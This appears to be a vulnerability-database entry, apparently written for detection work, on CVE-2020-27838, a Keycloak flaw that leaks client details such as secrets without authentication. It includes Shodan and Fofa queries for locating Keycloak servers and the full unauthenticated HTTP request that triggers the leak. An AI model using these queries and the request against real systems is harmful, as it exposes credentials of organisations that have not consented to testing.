🔙 목록으로 돌아가기

CVE-2020-27838: KeyCloak - Information Exposure

TitleKeyCloak - Information Exposure
Authormchklt
SeverityMedium
ImpactThe vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
RemediationApply the latest security patches or updates provided by the KeyCloak vendor.
CVSS Score6.5
EPSS Score0.78293
CVE IDCVE-2020-27838
CWE IDCWE-287
Shodan Querytitle:"keycloak"http.title:"keycloak"http.html:"keycloak"http.favicon.hash:-1105083093
Fofa Querytitle="keycloak"icon_hash=-1105083093body="keycloak"
Tags cve cve2020 keycloak exposure redhat vuln

🔍 Vulnerability Description

A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.

🌐 HTTP Request

GET /auth/realms/master/clients-registrations/default/security-admin-console HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27838.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-27838.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A